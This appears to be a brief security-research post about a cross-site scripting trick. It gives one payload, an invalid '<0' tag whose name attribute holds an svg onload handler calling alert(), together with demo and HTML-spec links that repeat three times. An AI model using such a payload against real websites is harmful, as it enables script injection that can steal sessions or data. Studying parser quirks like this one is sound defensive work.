<0 name="<svg/onload=alert()>">
demo: https://jsfiddle.net/4v6xksaf/
source: https://x.com/nowaskyjr/status/1992717862398800081
spec: https://html.spec.whatwg.org/multipage/parsing.html#parse-error-invalid-first-character-of-tag-name
Post #4035
3.4K
From Invalid Tag to Script Execution
demo: https://jsfiddle.net/4v6xksaf/
source: https://x.com/nowaskyjr/status/1992717862398800081
spec: https://html.spec.whatwg.org/multipage/parsing.html#parse-error-invalid-first-character-of-tag-name
demo: https://jsfiddle.net/4v6xksaf/
source: https://x.com/nowaskyjr/status/1992717862398800081
spec: https://html.spec.whatwg.org/multipage/parsing.html#parse-error-invalid-first-character-of-tag-name
- 👍 9
- 🔥 6